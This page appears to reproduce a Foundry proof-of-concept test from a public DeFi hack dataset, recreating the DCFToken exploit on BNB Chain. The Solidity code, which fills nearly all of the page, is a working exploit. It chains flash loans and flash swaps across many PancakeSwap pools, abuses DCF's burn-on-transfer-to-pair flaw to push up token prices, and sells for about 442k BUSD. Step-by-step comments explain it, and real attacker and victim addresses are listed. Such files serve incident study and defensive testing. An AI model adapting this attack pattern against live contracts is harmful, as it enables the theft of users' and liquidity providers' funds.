Public reproduction file
src/test/2025-03/DCFToken_exp.sol
Public reproduction file for dataset entry DCFToken.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import {Test, console} from "forge-std/Test.sol";6// @KeyInfo - Total Lost : ~442k7// Attacker : https://bscscan.com/address/0x00c58434f247dfdca49b9ee82f3013bac96f60ff8// Attack Contract : https://bscscan.com/address/0x77ab960503659711498a4c0bc99a84e8d0a475899// Vulnerable Contract : https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b610// Attack Tx : https://bscscan.com/tx/0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6#code15// @Analysis16// Twitter Guy : https://x.com/Phalcon_xyz/status/186089080190919066417// Hacking God [EN]: https://lunaray.medium.com/dcf-hack-analysis-dbcd3589c6fc18// Hacking God [中]: https://www.panewslab.com/zh_hk/articledetails/nvh5p8pjf4go.html20address constant BUSD_addr = 0x55d398326f99059fF775485246999027B3197955;21address constant DCF_addr = 0xA7e92345ddF541Aa5CF60feE2a0e721C50Ca1adb;22address constant DCT_addr = 0x56f46bD073E9978Eb6984C0c3e5c661407c3A447;23address constant PancakeSwapRouterv2_addr = 0x10ED43C718714eb63d5aA57B78B54704E256024E;24address constant PancakeSwapV2_BSCUSD_DCF_12_addr = 0x8487f846d59F8FB4f1285C64086b47e2626C01B6;25address constant PancakeSwapV2_BSCUSD_DCT_6_addr = 0x5aaC7375196e9eA76b1598ed4BE19B41fA5Ba651;28contract DCFToken is Test {29 IBEP20 DCF = IBEP20(0xA7e92345ddF541Aa5CF60feE2a0e721C50Ca1adb);30 Attack_Contract attack_Contract;32 function setUp() public {33 vm.createSelectFork("bsc", 44290969);34 vm.startPrank(0x00c58434F247DFdCA49b9EE82f3013BAC96F60FF, 0x00c58434F247DFdCA49b9EE82f3013BAC96F60FF);36 attack_Contract = new Attack_Contract();37 DCF.approve(address(attack_Contract), 416_258_263_298_472_398_299);38 }40 function testExploit() public {41 attack_Contract.exploit();42 }43}45contract Attack_Contract {46 struct Pancake {47 address addr;48 uint amount;49 bool bUSDIndex;50 }51 address[] path = new address[](2);52 Pancake[] pancakeV3Pools;53 Pancake[] pancakeSwapV2s;54 IBEP20 BUSD = IBEP20(BUSD_addr);55 IBEP20 DCF = IBEP20(DCF_addr);56 IBEP20 DCT = IBEP20(DCT_addr);58 uint deadline = 1732453876;59 uint step = 1;60 IPancakeSwapRouterV2 PancakeSwapRouterV2 = IPancakeSwapRouterV2(PancakeSwapRouterv2_addr);61 IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCF_12 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCF_12_addr);62 IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCT_6 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCT_6_addr);64 constructor() {65 // pancakeV3Pools - Used to obtain a large amount of BUSD via flash loans66 pancakeV3Pools.push(Pancake({addr: 0x92b7807bF19b7DDdf89b706143896d05228f3121, amount: 0, bUSDIndex: false}));67 pancakeV3Pools.push(Pancake({addr: 0x36696169C63e42cd08ce11f5deeBbCeBae652050, amount: 0, bUSDIndex: false}));68 pancakeV3Pools.push(Pancake({addr: 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb, amount: 0, bUSDIndex: false}));69 pancakeV3Pools.push(Pancake({addr: 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4, amount: 0, bUSDIndex: false}));70 pancakeV3Pools.push(Pancake({addr: 0x172fcD41E0913e95784454622d1c3724f546f849, amount: 0, bUSDIndex: false}));71 pancakeV3Pools.push(Pancake({addr: 0xBe141893E4c6AD9272e8C04BAB7E6a10604501a5, amount: 0, bUSDIndex: true}));72 pancakeV3Pools.push(Pancake({addr: 0x1936be860d93B0Ff98f3a9b83254D61A78930B76, amount: 0, bUSDIndex: true}));73 pancakeV3Pools.push(Pancake({addr: 0x247f51881d1E3aE0f759AFB801413a6C948Ef442, amount: 0, bUSDIndex: false}));74 pancakeV3Pools.push(Pancake({addr: 0x7f51c8AaA6B0599aBd16674e2b17FEc7a9f674A1, amount: 0, bUSDIndex: true}));75 // pancakeSwapV2s - Utilize swap to acquire a large amount of BUSD76 pancakeSwapV2s.push(Pancake({addr: 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, amount: 0, bUSDIndex: false}));77 pancakeSwapV2s.push(Pancake({addr: 0x7C1f8F5d8d000b00a2Eaa3c21071dBca18f6825d, amount: 0, bUSDIndex: false}));78 pancakeSwapV2s.push(Pancake({addr: 0xF31cb18759FE8356348c81268b859d2a32bf2117, amount: 0, bUSDIndex: false}));79 pancakeSwapV2s.push(Pancake({addr: 0x5a5fD4DBF70747E684F43B43aB53d4b0C733293D, amount: 0, bUSDIndex: true}));80 pancakeSwapV2s.push(Pancake({addr: 0xB51f9508B88F0868aE14E74C5D7d1F34E2f419c1, amount: 0, bUSDIndex: false}));81 pancakeSwapV2s.push(Pancake({addr: 0x8665A78ccC84D6Df2ACaA4b207d88c6Bc9b70Ec5, amount: 0, bUSDIndex: true}));82 }84 function exploit() public { 85 pancakeV3Pools[0].amount = BUSD.balanceOf(pancakeV3Pools[0].addr) - 100_000_000_000_000_000_000;87 // Stage 0: Prepare attack funds88 // Borrow a large amount of BUSD from the PancakeSwap V3 pool89 IPancakeV3Pool(pancakeV3Pools[0].addr).flash(address(this), pancakeV3Pools[0].amount, 0, abi.encodePacked(step));90 }92 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {93 Pancake storage old_pancakeV3Pool = pancakeV3Pools[step-1];94 old_pancakeV3Pool.bUSDIndex? old_pancakeV3Pool.amount += fee1 : old_pancakeV3Pool.amount += fee0;96 if (step < pancakeV3Pools.length) {97 Pancake storage pancakeV3Pool = pancakeV3Pools[step];98 pancakeV3Pool.amount = BUSD.balanceOf(pancakeV3Pool.addr) - 100_000_000_000_000_000_000;99 if (pancakeV3Pool.bUSDIndex)100 IPancakeV3Pool(pancakeV3Pool.addr).flash(address(this), 0, pancakeV3Pool.amount, abi.encode(++step));101 else 102 IPancakeV3Pool(pancakeV3Pool.addr).flash(address(this), pancakeV3Pool.amount, 0, abi.encode(++step));103 }104 else {105 step = 1;106 // Subtract 10^20 to avoid triggering the require check for INSUFFICIENT_LIQUIDITY in the contract107 pancakeSwapV2s[0].amount = BUSD.balanceOf(pancakeSwapV2s[0].addr) - 100_000_000_000_000_000_000;108 // The attacker uses PancakeSwap's swap function, first transferring the swapped tokens out, then paying tokens in the callback function, gaining a large amount of BUSD through a series of recursive swap operations109 IPancakeSwapV2(pancakeSwapV2s[0].addr).swap(pancakeSwapV2s[0].amount, 0, address(this), abi.encodePacked(step));110 }111 }113 function pancakeCall (address sender, uint amount0, uint amount1, bytes calldata data) external {114 Pancake storage old_pancakeSwapV2 = pancakeSwapV2s[step-1];115 // 0.25% for fee116 old_pancakeSwapV2.amount = old_pancakeSwapV2.amount * 100_251 / 100_000;118 if (step < pancakeSwapV2s.length){119 Pancake storage pancakeSwapV2 = pancakeSwapV2s[step];120 // Subtract 10^20 to avoid triggering the require check for INSUFFICIENT_LIQUIDITY in the contract121 pancakeSwapV2.amount = BUSD.balanceOf(pancakeSwapV2.addr) - 100_000_000_000_000_000_000;122 if (pancakeSwapV2.bUSDIndex)123 IPancakeSwapV2(pancakeSwapV2.addr).swap(0, pancakeSwapV2.amount, address(this), abi.encode(++step));124 else 125 IPancakeSwapV2(pancakeSwapV2.addr).swap(pancakeSwapV2.amount, 0, address(this), abi.encode(++step));126 }127 else {128 // Step 1: The attacker transfers all the DCF he holds to the attack contract129 DCF.transferFrom(tx.origin, address(this), 83_741_736_701_527_601_701);131 // Step 2: The attacker used 80,435,691 BUSD to exchange 4,039 DCF to 0x16600100b04d17451a03575436b4090f6ff8f404.132 BUSD.approve(address(PancakeSwapRouterV2), type(uint256).max);133 (path[0], path[1]) = (address(BUSD), address(DCF));134 PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(80_435_691_245_080_307_237_888_143, 0, path, 0x16600100b04d17451a03575436B4090f6Ff8f404, deadline);136 // Step 3: The attacker used the remaining 29,919,679 BUSD to exchange 1,062,693 DCT for the attack contract137 BUSD.approve(address(PancakeSwapRouterV2), type(uint256).max);138 (path[0], path[1]) = (address(BUSD), address(DCT));139 PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(29_919_669_280_925_435_923_030_360, 0, path, address(this), deadline);141 // Step 4: The attacker uses transfer to send 82 DCF to the PancakeSwap Pair BUSD-DCF142 // Vulnerability: The transfer of DCF143 // When `to` is the address of the PancakeSwap Pair, the code will destroy about half of the transferred DCF amount from the PancakeSwap Pair and increase the prices of DCF and DCT144 DCF.transfer(address(PancakeSwapV2_BSCUSD_DCF_12), 82_756_539_699_156_688_738);146 // Final: The attacker sells DCF and DCT, making a profit of 442,028 BUSD147 PancakeSwapV2_BSCUSD_DCF_12.swap(72_612_978_985_490_861_981_525_879, 0, address(this), "");148 BUSD.transfer(address(PancakeSwapV2_BSCUSD_DCT_6), 1_000_000_000_000_000_000);149 DCT.approve(address(PancakeSwapRouterV2), type(uint256).max);150 (path[0], path[1]) = (address(DCT), address(BUSD));151 PancakeSwapRouterV2.swapExactTokensForTokensSupportingFeeOnTransferTokens(1_062_693_418_683_145_675_940_998, 0, path, address(this), deadline);153 // Pay back the flash loan154 for (uint i = 0; i < pancakeV3Pools.length; i++)155 BUSD.transfer(pancakeV3Pools[i].addr, pancakeV3Pools[i].amount);156 // Pay back the swap157 for (uint i = 0; i < pancakeSwapV2s.length; i++)158 BUSD.transfer(pancakeSwapV2s[i].addr, pancakeSwapV2s[i].amount);159 }160 }161}164interface IBEP20 {165 function transfer(address recipient, uint256 amount) external returns (bool);166 function balanceOf(address account) external view returns (uint256);167 function transferFrom(address from, address to, uint256 amount) external returns (bool);168 function approve(address spender, uint256 amount) external returns (bool);170}172interface IPancakeV3Pool {173 function flash(address recipient, uint256 amount0, uint256 amount1, bytes memory data) external;174}176interface IPancakeSwapV2 {177 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;178 function sync() external;179}181interface IPancakeSwapRouterV2 {182 function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, uint256 deadline) external;183}Analysis
Dataset entry
Public Foundry test for “DCFToken” (2025-03-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x00c58434f247dfdca49b9ee82f3013bac96f60ff
- Attack Contract
0x77ab960503659711498a4c0bc99a84e8d0a47589
- Vulnerable Contract
0x8487f846d59f8fb4f1285c64086b47e2626c01b6
- Attack Tx
0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd
- Twitter: https://x.com/Phalcon_xyz/status/1860890801909190664
- Explorer: https://bscscan.com/address/0x00c58434f247dfdca49b9ee82f3013bac96f60ff
- Explorer: https://bscscan.com/address/0x77ab960503659711498a4c0bc99a84e8d0a47589
- Explorer: https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6
- Explorer: https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6#code
File record
- Name
- DCFToken
- Path
- src/test/2025-03/DCFToken_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 88af9d10f6698f4a6f8a673933a71976c39dcb1d
- Language
- Solidity
- Size
- 184 lines
- Date
- 2025-03-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/DCFToken_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 88af9d10f6698f4a6f8a673933a71976c39dcb1d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.